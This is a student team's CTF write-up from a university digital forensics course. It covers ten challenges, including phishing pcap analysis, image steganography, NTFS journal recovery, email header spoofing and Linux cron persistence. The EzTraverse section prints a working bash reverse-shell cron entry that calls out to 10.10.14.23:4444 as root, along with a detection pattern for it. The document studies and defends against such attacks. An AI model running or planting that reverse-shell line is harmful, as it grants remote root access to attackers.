🏴 CTF Writeup — Sudo Win
Event: Digital Forensic Class 1 CTF — President University, 2026
Team: Sudo Win
Members:
- Keira Nevrada Lay —
001202400170(Captain) - Gerald Darryl Joseph Manurung —
001202400055 - Qwyn Celine Djimondo —
001202400205 - Richie Obhasa —
001202400162
Table of Contents
- Mailer
- RGA?
- TripleThreat2
- Nightmare
- lost-d4-Imp0rt4nt-Fil3
- goTTa-fix-the-corrupT1on
- latte
- MailMailSnailMail
- scout-code2
- EzTraverse
1. Mailer
1. Context
- Challenge: Mailer (Part 1 & Part 2)
- Target: Network capture file (
.pcap) - Scope: Email traffic analysis, malicious attachment identification, C2 traffic tracing
- Constraints: Noisy packet capture; flag header initially documented incorrectly as
Flaginstead ofpu-flag - Success criteria: Identify malicious filename, attacker email, and C2 destination address/port
2. Executive Summary
A .pcap file was analyzed to investigate an infrastructure compromise triggered by a malicious email. A suspicious email from customer@fakebank.com contained a ZIP attachment (Visa_Payment_Document.zip) housing a .doc confirmed malicious by VirusTotal (46/63 detections). Session analysis revealed the infected host (.24) was beaconing out to the attacker's machine (.100) on port 113. The flag was constructed by combining the malicious filename, sender email, and C2 address with port.
Flag: pu-flag{Visa_Payment_Document.zip_customer@fakebank.com_192.168.1.100:113}
3. Threat Model
- Assets: Internal network infrastructure, employee workstations
- Entry points: Corporate email inbox — phishing email with malicious attachment
- Trust boundaries: External internet → internal LAN (192.168.1.x subnet)
- Attacker goal: Initial access via malicious document; C2 callback to attacker-controlled host
4. Recon and Enumeration
- Loaded
.pcapinto NetworkMiner and Wireshark - Filtered NetworkMiner's Messages tab for suspicious senders
- Identified
customer@fakebank.comas anomalous — lookalike domain for a bank - Cross-referenced frame number in Wireshark for deep-packet inspection
- Reviewed Sessions tab in NetworkMiner for lateral/C2 traffic patterns
5. Exploit Path
- Attacker sends phishing email from
customer@fakebank.comwithVisa_Payment_Document.zipattachment - Employee opens email; embedded
.doc(inside ZIP) executes malicious code - Malicious code initiates outbound connection from victim
192.168.1.24to attacker192.168.1.100on port113(ident protocol — atypical and often unmonitored)
6. Evidence and Artifacts
- Malicious file:
Visa_Payment_Document.zip→Visa Payment Document.doc - VirusTotal score: 46/63 (high risk)
- Attacker email:
customer@fakebank.com - C2 address:
192.168.1.100:113 - Victim IP:
192.168.1.24 - Discovery frame: Frame 130 in Wireshark
7. Fix and Hardening
- Immediate fix: Block
192.168.1.100at the firewall; isolate the victim host for reimaging - Guardrails: Implement email attachment sandboxing; block outbound connections on port 113; enforce DMARC/SPF on inbound mail
- Regression tests: Alert on outbound port 113 traffic; scan new email attachments with AV before delivery
8. Lessons Learned
- Signals to monitor: Outbound connections to unusual ports (113, 4444); emails from lookalike domains; VirusTotal detections above 10/63
- Detection automation: SIEM rule for RFC-unusual outbound ports; email gateway filters for ZIP-inside-DOC attachments
2. RGA?
1. Context
- Challenge: RGA?
- Target:
challenge.png— a red-to-green gradient image - Scope: Steganography via LSB (Least Significant Bit) technique
- Constraints: Zsteg produces many false positives; challenge title is intentionally misleading
- Success criteria: Extract the hidden flag from the blue channel using LSB steganography
2. Executive Summary
A PNG image with a red-to-green gradient concealed a flag in its blue channel using LSB steganography. The challenge title "RGA?" was a deliberate misdirection — blue channel was nearly invisible to the eye but carried hidden data. Aperisolve confirmed the anomaly, and zsteg extracted the flag directly.
Flag: pu-flag{blu3_ch4nn3l_in_LSB_l34ks_s3cr3ts}
3. Threat Model
- Assets: Hidden flag embedded in image file
- Entry points: Visually normal PNG distributed as a challenge artifact
- Trust boundaries: Public file — appears benign to standard image viewers
- Attacker goal: Conceal data within carrier image undetected
4. Recon and Enumeration
- Loaded
challenge.pnginto Aperisolve to inspect RGB channel data - Red and Green channels showed visible color variation; Blue channel appeared nearly empty
- On closer inspection (zoomed Aperisolve output), faint blue channel data was detectable
- AI confirmation corroborated the LSB algorithm hypothesis
5. Exploit Path
- Open image in Aperisolve — observe Red and Green channels are active, Blue is anomalously quiet
- Zoom into Blue channel decomposition — faint pixel variation detected, indicating hidden data
- Run
zsteg challenge.pngin WSL to scan all LSB combinations - Identify the valid, human-readable output among zsteg candidates — yields the flag
6. Evidence and Artifacts
- Carrier file:
challenge.png(red-to-green gradient, normal PNG structure) - Steganography method: LSB in the Blue channel
- Detection tools: Aperisolve (channel visualization), zsteg (extraction)
- Key indicator: Blue channel near-absent visually but carries payload data
7. Fix and Hardening
- Immediate fix: N/A (CTF challenge)
- Guardrails: In production contexts, scan outbound images for LSB payloads before exfiltration; use steganalysis tools in DLP pipelines
- Regression tests: Automated zsteg/stegdetect scan on image uploads to detect LSB steganography
8. Lessons Learned
- Signals to monitor: Images with near-zero blue (or any single) channel variance — statistically improbable in natural images
- Detection automation: Integrate steganalysis (
zsteg,stegdetect) in file-upload inspection pipelines
3. TripleThreat2
1. Context
- Challenge: TripleThreat2
- Target: ZIP archive containing a PNG and Python script
- Scope: Multi-layer forensics — file embedding, image steganography, polyalphabetic cryptography
- Constraints: binwalk extraction produced a non-standard
0.zipinstead of directly readable contents - Success criteria: Decrypt the flag using a key recovered from ASCII-encoded pixel data
2. Executive Summary
A ZIP file contained a PNG and Python decryption script. The PNG harbored two steganographic layers: an encrypted ciphertext and a hidden numeric sequence. The numbers decoded via ASCII to a phrase — "PEOPLE WHO ARE NOT WANTED IN A COUNTRY" — leading to the key PERSONA NON GRATA. The key was fed into a Python script reversing Columnar Transposition → Atbash → Caesar to recover the flag.
Flag: pu-flag{W3-1mp13mEnt-tH15-1n-St3g0-now-to-m4k3-you-B4LD-h3h3h3}
3. Threat Model
- Assets: Encrypted flag
- Entry points: Deliberately obfuscated ZIP archive
- Trust boundaries: Challenge file — multiple layers of indirection to prevent casual extraction
- Attacker goal: Obscure flag behind three sequential encryption layers plus steganographic key hiding
4. Recon and Enumeration
binwalk -eon the ZIP reveals embedded0.zip(non-standard structure)0.zipcontainscall.png(suspicious compressed size) and a Python decryption script- Aperisolve on
call.pngreveals ciphertext in one layer and an abstract image in another - Abstract image re-analyzed in Aperisolve — yields suspicious number sequence
5. Exploit Path
- Extract ZIP with
binwalk -e→ enter0.zip→ retrievecall.pngand Python script - Analyze
call.pngin Aperisolve → find ciphertext and abstract sub-image - Extract abstract image → re-analyze in Aperisolve → read ASCII numbers:
80 69 79 80 76 69 32 87 72 79... - Convert ASCII numbers to text →
PEOPLE WHO ARE NOT WANTED IN A COUNTRY - Google the phrase → answer is
PERSONA NON GRATA - Set
key = "PERSONANONGRATA"in Python script; run to reverse Columnar → Atbash → Caesar → print flag
6. Evidence and Artifacts
- Carrier file:
call.png(anomalously high compressed size) - Hidden ASCII sequence:
80 69 79 80 76 69 32 87 72 79 32 65 82 69 32 78 79 84 32 87 65 78 84 69 68 32 73 78 32 65 32 67 79 85 78 84 82 89 - Decoded key phrase:
PERSONA NON GRATA - Cipher chain: Columnar Transposition → Atbash → Caesar (all reversed in decryption)
7. Fix and Hardening
- Immediate fix: N/A (CTF challenge)
- Guardrails: Validate ZIP integrity on ingest; flag archives with nested/non-standard structures
- Regression tests: Automated binwalk scans on received archive files
8. Lessons Learned
- Signals to monitor: Archives with unusual inner structures; images with disproportionate compressed size
- Detection automation: Recursive file extraction and entropy analysis on archive contents
4. Nightmare
1. Context
- Challenge: Nightmare
- Target:
Application.xml— Windows Application Event Log - Scope: Event log forensics; LDAP vulnerability exploitation trace
- Constraints: Large log file with many routine events; relevant entry buried among noise
- Success criteria: Identify timestamp, faulty application, and faulty module from EventID 1000
2. Executive Summary
A Windows Application event log was analyzed to find traces of an exploited LDAP vulnerability. Among thousands of routine system events, a single ApplicationError (EventID 1000) entry identified lsass.exe as the crashed application and WLDAP32.dll as the faulty module — consistent with a known LDAP-related exploitation technique. Timestamp extraction completed the flag.
Flag: pu-flag{2025-01-07_01:10:13_lsass.exe_WLDAP32.dll}
3. Threat Model
- Assets: Windows Active Directory / LDAP infrastructure
- Entry points: LDAP service exposed on domain controller;
lsass.exeprocess - Trust boundaries: Internal domain network; authentication services
- Attacker goal: Exploit LDAP vulnerability to crash or manipulate
lsass.exefor credential access
4. Recon and Enumeration
- Opened
Application.xmlin a web browser (Microsoft Edge) for structured viewing - Researched LDAP implementations (Google + ChatGPT): primary target is Microsoft Active Directory
- Scanned log for anomalous entries — most are repetitive routine events
- Identified
ApplicationError(EventID 1000) as visually distinct and more detailed than surrounding entries
5. Exploit Path
- Open
Application.xmland scan for entries withEventID 1000(ApplicationError) - Locate the entry referencing
lsass.exe— the Windows Local Security Authority Subsystem Service - Extract: timestamp
2025-01-07 01:10:13, applicationlsass.exe, moduleWLDAP32.dll - Format per flag schema:
pu-flag{YYYY-MM-DD_HH:MM:SS_FaultyAppName_FaultyModuleName}
6. Evidence and Artifacts
- Log file:
Application.xml - EventID: 1000 (ApplicationError)
- Timestamp:
2025-01-07 01:10:13 - Faulty application:
lsass.exe - Faulty module:
WLDAP32.dll
7. Fix and Hardening
- Immediate fix: Patch Windows LDAP libraries; apply relevant CVE mitigations for
WLDAP32.dll - Guardrails: Alert on
lsass.execrashes (EventID 1000); restrict LDAP access to authorized hosts only - Regression tests: Monitor for recurring
lsass.exeorWLDAP32.dllerror events post-patch
8. Lessons Learned
- Signals to monitor: EventID 1000 crashes involving
lsass.exe; WLDAP32.dll faults - Detection automation: SIEM alert on
lsass.exeApplicationError events; correlate with authentication anomalies
5. lost-d4-Imp0rt4nt-Fil3
1. Context
- Challenge: lost-d4-Imp0rt4nt-Fil3
- Target:
challenge.ad1— forensic disk image - Scope: NTFS artifact recovery; USN Journal analysis for securely deleted file
- Constraints:
.ad1format requires FTK Imager; raw$Jfile requires dedicated parser - Success criteria: Recover last-updated timestamp and MFT entry number of a deleted
flag.txt
2. Executive Summary
A forensic disk image was examined to locate a file deleted by a malicious actor. Using FTK Imager, the NTFS $UsnJrnl\$J artifact was identified and extracted. MFTECmd parsed the raw journal into CSV, revealing flag.txt with its last-updated timestamp (2025-01-27 23:23:22) and MFT entry number (126638).
Flag: pu-flag{2025-01-27 23:23:22_126638}
3. Threat Model
- Assets:
flag.txt— a file containing sensitive data - Entry points: Insider/attacker with write access to the host filesystem
- Trust boundaries: Windows NTFS filesystem; file deletion does not erase journal records
- Attacker goal: Permanently destroy evidence by securely deleting the target file
4. Recon and Enumeration
- Loaded
challenge.ad1in FTK Imager - Navigated NTFS structure — identified
$UsnJrnldirectory - Found
$Jfile with notably larger size than adjacent entries — flagged as key artifact - Confirmed via Google:
$Jrecords all file system changes including deletion events - Referenced Eric Zimmerman's tools —
MFTECmd.exeidentified as the correct parser
5. Exploit Path
- Open
challenge.ad1in FTK Imager → navigate to$UsnJrnl\$J - Export
$Jto local disk - Parse with
MFTECmd.exe:MFTECmd.exe -f $J --csv . - Open output CSV → search keyword
flag→ locateflag.txtentry - Identify last-updated timestamp before rename/deletion operations:
2025-01-27 23:23:22 - Note corresponding MFT entry number:
126638
6. Evidence and Artifacts
- Disk image:
challenge.ad1 - Key artifact:
$UsnJrnl\$J(NTFS USN Journal) - Parsed output:
20260413014103_MFTECmd_J_Output.csv - Target file:
flag.txt - Last-updated timestamp:
2025-01-27 23:23:22 - MFT entry number:
126638
7. Fix and Hardening
- Immediate fix: Preserve disk image as forensic evidence before any remediation
- Guardrails: Enable Windows file auditing (Object Access) to log deletions in real time; retain USN Journal logs off-host
- Regression tests: Periodic integrity checks on critical file directories; alert on mass-deletion events
8. Lessons Learned
- Signals to monitor: Bulk file deletions; USN Journal entries showing
FileDelete+FileRenamesequences on sensitive directories - Detection automation: SIEM ingestion of Windows Security Event 4660 (file deleted) and 4663 (file access)
6. goTTa-fix-the-corrupT1on
1. Context
- Challenge: goTTa-fix-the-corrupT1on
- Target:
vi.png— corrupted image file - Scope: File corruption recovery via hex analysis; post-recovery steganography extraction
- Constraints: File cannot be opened by standard image viewers; hex values indicate improper encoding
- Success criteria: Restore the image and extract the hidden flag from the Blue channel
2. Executive Summary
An image was transferred with its raw binary data encoded as hex values, making it unreadable. ExifTool confirmed a file format error. After identifying the encoding with HexEd.it, Python's binascii.unhexlify was used to reconstruct restored.png. AperiSolve then revealed the flag hidden in the Blue decomposer channel.
Flag: pu-flag{3asy-0bfusc4t10n-4nd-st3g-does-it?}
3. Threat Model
- Assets: Flag hidden inside a PNG image
- Entry points: Corrupted/hex-encoded image file passed as challenge artifact
- Trust boundaries: File integrity — altered at transfer level to obscure valid format
- Attacker goal: Hide data in plain sight behind two layers: corruption obfuscation + LSB steganography
4. Recon and Enumeration
exiftool vi.png→ output:File format error— confirms structural corruptionhexed.itinspection → hex values like10 00 01 11inconsistent with valid PNG magic bytes- Hypothesis formed: binary content stored as ASCII hex string — requires
unhexlifyto reconstruct
5. Exploit Path
- Open
vi.pngin ExifTool → confirm format error - Inspect in HexEd.it → identify hex-encoded binary content
- Write Python script using
binascii.unhexlifyto convert hex content back to binary, save asrestored.png - Open
restored.png— successfully viewable - Upload to AperiSolve → inspect Blue channel in Decomposer → flag visible in plaintext
6. Evidence and Artifacts
- Corrupted file:
vi.png(hex-encoded binary data) - Restored file:
restored.png(valid PNG) - Recovery method:
binascii.unhexlifyin Python - Flag location: Blue channel — AperiSolve Decomposer view
7. Fix and Hardening
- Immediate fix: N/A (CTF challenge)
- Guardrails: Validate file magic bytes and format integrity on ingest; reject files failing format checks
- Regression tests: Automated file format validation against MIME type headers on upload endpoints
8. Lessons Learned
- Signals to monitor: Files failing format validation that claim common MIME types; images with non-standard hex headers
- Detection automation: Magic byte validation (
filecommand or libmagic) in file processing pipelines
7. latte
1. Context
- Challenge: latte
- Target:
coffee-latte.png— image with embedded data - Scope: Multi-layer steganography; embedded file extraction + channel steganography
- Constraints: Image appears entirely normal to the naked eye
- Success criteria: Extract embedded image, then extract flag from color channel decomposition
2. Executive Summary
A visually normal coffee latte image concealed a secondary PNG file embedded within it. Binwalk identified the embedded structure; AperiSolve (PCRT module) extracted and repaired the hidden PNG. Re-analyzing the extracted yellow image in AperiSolve's decomposer revealed the flag across its color channels.
Flag: pu-flag{h0w-d0-y0u-f1nd-m3}
3. Threat Model
- Assets: Flag hidden in a nested steganographic layer
- Entry points: Innocuous-looking PNG distributed as challenge artifact
- Trust boundaries: File appears valid — passes standard image rendering without issues
- Attacker goal: Two-layer concealment: file-within-file embedding + channel-based steganography
4. Recon and Enumeration
exiftool coffee-latte.png→ no anomalies in metadatabinwalk coffee-latte.png→ reveals compressed data + ZIP footer — hidden file present- AperiSolve (PCRT section) → recovers embedded PNG:
pcrt_recovered_4cfc11b81b6842a2b0ed70d639185e47.png
5. Exploit Path
- Run
binwalk coffee-latte.png→ confirm hidden embedded file - Analyze in AperiSolve → PCRT module extracts and repairs an embedded PNG
- Download recovered yellow image
- Re-submit recovered image to AperiSolve → inspect Decomposer color channels
- Flag appears in channel breakdown
6. Evidence and Artifacts
- Carrier file:
coffee-latte.png - Extracted file:
pcrt_recovered_4cfc11b81b6842a2b0ed70d639185e47.png(yellow image) - Detection tool: binwalk (embedding), AperiSolve PCRT (extraction), AperiSolve Decomposer (flag)
7. Fix and Hardening
- Immediate fix: N/A (CTF challenge)
- Guardrails: Detect file-within-file embeddings using binwalk in upload pipelines; reject images containing unexpected embedded archives
- Regression tests: Automated entropy scan on uploaded images; flag ZIP footers inside PNG/JPEG files
8. Lessons Learned
- Signals to monitor: Images containing anomalous compressed data signatures or ZIP footers
- Detection automation: Integrate
binwalkinto file upload inspection; alert on polyglot files
8. MailMailSnailMail
1. Context
- Challenge: MailMailSnailMail
- Target: Raw
.emlfile + SMTP/DNS logs - Scope: Phishing email forensics — header spoofing, encoded tokens, fake attachments
- Constraints: Attacker forged internal relay hop; attachment is not a real PDF
- Success criteria: Identify originating IP, forged hop, user interaction event, and decode the attachment to get the flag
2. Executive Summary
A phishing email spoofing internalcorp.net (as internalc0rp.net) was analyzed. The Received chain contained a forged hop using a private IP (10.0.0.10) — impossible as a public SMTP source. SMTP logs confirmed the true origin as 185.220.101.47. A Base64 token in the email body revealed the target user (jharris) and next step (decode_attachment). The Security_Notice.pdf attachment was Base64-encoded text, not a PDF — decoding it yielded the flag.
Flag: pu-flag{Th15-1s-4n-4tt3mpt3d-Ph1sh1ng-Y0u-H4v3-LE4rned}
3. Threat Model
- Assets: Employee credentials; user
jharrisas specific target - Entry points: Corporate email inbox; attacker-controlled domain
internalc0rp.net - Trust boundaries: Email authentication (SPF/DMARC failed); internal relay appearance via forged header
- Attacker goal: Credential phishing via domain spoofing; malicious link click + fake attachment delivery
4. Recon and Enumeration
- Viewed
.emlin Notepad and EML Viewer for header and body analysis - Identified spoofed domain:
internalc0rp.net(zero substituted for letter O) - Traced Received chain: external IP
185.220.101.47→ forged internal hop10.0.0.10 - SMTP log at
09:18:43: host10.0.0.88queriedsecurepayments-verify.com→ resolved to185.220.101.47→ connection made (user clicked link) - SPF fail, DMARC fail, reverse DNS mismatch all confirmed in logs
5. Exploit Path
- Examine email headers → identify spoofed sender domain and forged RFC1918 relay hop
- Correlate SMTP log timestamp
09:18:43→ confirm user interaction with malicious link - Extract URL token → Base64 decode →
{"user": "jharris", "next": "decode_attachment"} - Decode
Message-IDBase64 value →check_the_attachment - Open
.emlraw → locateSecurity_Notice.pdfBase64 body → decode → extract flag
6. Evidence and Artifacts
- Attacker domain:
internalc0rp.net(spoofedinternalcorp.net) - True origin IP:
185.220.101.47 - Forged hop:
Received from mail.internalcorp.net (10.0.0.10)— RFC1918 address, cannot be public SMTP source - User interaction:
10.0.0.88→ DNS query + connection to185.220.101.47at09:18:43 - Token decoded:
{"user": "jharris", "next": "decode_attachment"} - Attachment:
Security_Notice.pdf— Base64-encoded text file, not a real PDF
7. Fix and Hardening
- Immediate fix: Block
185.220.101.47andsecurepayments-verify.com; quarantine userjharris's machine; reset credentials - Guardrails: Enforce strict SPF/DMARC rejection; block homoglyph lookalike domains; implement email attachment sandbox analysis
- Regression tests: Alert on SPF/DMARC failures from domains resembling internal corporate domains
8. Lessons Learned
- Signals to monitor: Emails failing SPF+DMARC from lookalike domains; Base64 attachments claiming to be PDFs; forged RFC1918 relay hops in Received chains
- Detection automation: SIEM rule on SPF fail + DMARC fail from near-match domains; alert on internal hosts querying newly-registered external domains
9. scout-code2
1. Context
- Challenge: scout-code2
- Target: Audio file (Morse code) +
Flag.jpg(steganographic image) - Scope: Audio analysis → Morse decoding → pattern recognition → steghide extraction
- Constraints: Morse code lacks clear inter-word spacing; requires contextual lyric matching
- Success criteria: Decode Morse phrase, find hidden key in image grid, extract steghide payload
2. Executive Summary
An audio file contained Morse code matching lyrics from the song "Still Here" by League of Legends. The decoded phrase ITSINMYBLOODANDITSINMYVEINSIMSTILLHERE25 was the Part 1 answer. Reading letters from a grid in Flag.jpg left-to-right yielded the steghide passphrase ANTSINHEELS. Running steghide extract -sf Flag.jpg with passphrase antsinheels produced flag.txt containing the final flag.
Flags:
- Part 1:
ITSINMYBLOODANDITSINMYVEINSIMSTILLHERE25 - Part 2:
ANTSINHEELS - Part 3:
pu-flag{H4v3nt-Y0u-L34rn-M0rs3-c0d3-bef0r3?}
3. Threat Model
- Assets: Flag embedded via steghide in
Flag.jpg - Entry points: Audio file (Morse) + image (grid key + steghide carrier)
- Trust boundaries: Multi-layer challenge — audio, visual, and steganographic layers
- Attacker goal: Obscure flag behind three sequential puzzle layers requiring domain knowledge (Morse, scout culture, steganography)
4. Recon and Enumeration
- Loaded audio into Moises.ai to separate signal components and isolate Morse dots/dashes
- Manually transcribed Morse sequence
- Matched sequence to hint URL (YouTube: "Still Here" — League of Legends Season 2024 Cinematic)
- Aligned Morse patterns word-by-word against known lyrics to reconstruct the full phrase
- Received admin hint confirming a number is embedded in the message (final
25)
5. Exploit Path
- Extract Morse from audio via Moises.ai → manually segment dots and dashes
- Use hint URL to identify source song → align Morse with lyrics → decode
ITSINMYBLOODANDITSINMYVEINSIMSTILLHERE25 - Map decoded letters into the
Flag.jpggrid boxes (left-to-right reading) → key:ANTSINHEELS - Run:
steghide extract -sf Flag.jpg→ passphrase:antsinheels→ output:flag.txt - Read
flag.txt→ flag obtained
6. Evidence and Artifacts
- Audio Morse:
..-.....-.---.---....-..-------...--.-....-.....-.---.--...-...-......--...-...-...-........-....---..… - Decoded text:
ITSINMYBLOODANDITSINMYVEINSIMSTILLHERE25 - Grid key:
ANTSINHEELS(read left-to-right acrossFlag.jpgletter grid) - steghide command:
steghide extract -sf Flag.jpgwith passphraseantsinheels - Extracted file:
flag.txt
7. Fix and Hardening
- Immediate fix: N/A (CTF challenge)
- Guardrails: Steghide-embedded files can be detected with steganalysis tools (
stegdetect); audio Morse transmission is an unconventional but real covert channel - Regression tests: Audit outgoing image files for steghide-type embeddings; flag audio files with irregular signal patterns
8. Lessons Learned
- Signals to monitor: Images with statistically improbable LSB distributions (steghide alters pixel values); audio files with repetitive binary-like signal patterns
- Detection automation:
stegdetectintegration in media upload inspections; entropy analysis on JPEGs
10. EzTraverse
1. Context
- Challenge: EzTraverse
- Target:
Challenge.img— Linux disk image from a compromised server - Scope: Linux filesystem forensics; attacker persistence via cron job
- Constraints: Must use Autopsy to mount and explore the image; persistence is disguised with a legitimate-sounding filename
- Success criteria: Identify the persistence file path and extract the embedded flag
2. Executive Summary
A Linux disk image was loaded into Autopsy and the filesystem browsed to identify attacker persistence mechanisms. Inside /etc/cron.d/, a file named sysupdate (masquerading as a legitimate system file) contained a reverse shell cron job (bash -i >&/dev/tcp/10.10.14.23/4444 0>&1) and a commented-out flag.
Flag: pu-flag{p3rs1st3nc3_v14_cr0nd}
3. Threat Model
- Assets: Compromised Linux server; root cron job persistence
- Entry points:
/etc/cron.d/— world-readable, root-executed scheduled tasks - Trust boundaries: System cron daemon executing files in
/etc/cron.d/as root without further validation - Attacker goal: Maintain persistent access via reverse shell; evade detection with a plausible filename (
sysupdate)
4. Recon and Enumeration
- Loaded
Challenge.imginto Autopsy 4.22.1 - Explored key Linux persistence directories:
/etc,/var,/home - Focused on
/etc/cron.d/given the objective (persistence) - Found only one file in
/etc/cron.d/:sysupdate
5. Exploit Path
- Load
Challenge.imginto Autopsy → mount Linux filesystem - Navigate to
etc/cron.d/ - Open
sysupdate→ review contents:SHELL=/bin/bash PATH=/usr/local/sbin:/usr/local/bin:/bin:/usr/sbin:/usr/bin * * * * * root bash -i>&/dev/tcp/10.10.14.23/4444 0>&1 # flag{p3rs1st3nc3_v14_cr0nd} - Extract flag comment → adjust to required format:
pu-flag{p3rs1st3nc3_v14_cr0nd}
6. Evidence and Artifacts
- Disk image:
Challenge.img - Persistence file:
/etc/cron.d/sysupdate - Reverse shell payload:
bash -i>&/dev/tcp/10.10.14.23/4444 0>&1(every minute, as root) - C2 address:
10.10.14.23:4444 - Flag location: Comment line inside
sysupdate
7. Fix and Hardening
- Immediate fix: Delete
/etc/cron.d/sysupdate; block outbound port 4444; rotate all credentials on the host - Guardrails: Audit
/etc/cron.d/andcrontabentries regularly; alert on new files in/etc/cron.d/; monitor for outbound bash reverse shell patterns - Regression tests: Scheduled integrity checks (e.g., AIDE/Tripwire) on
/etc/cron*directories; alert on new root cron entries
8. Lessons Learned
- Signals to monitor: New or modified files in
/etc/cron.d/,/etc/crontab; outbound connections on high-numbered ports (4444, 9001, etc.) from cron processes - Detection automation: File integrity monitoring on
/etc/cron*; SIEM rule for cron-spawned network connections; EDR alert on bash reverse shell pattern (>&/dev/tcp/)
Writeup compiled by Team Sudo Win — President University Digital Forensic Class 1, 2026.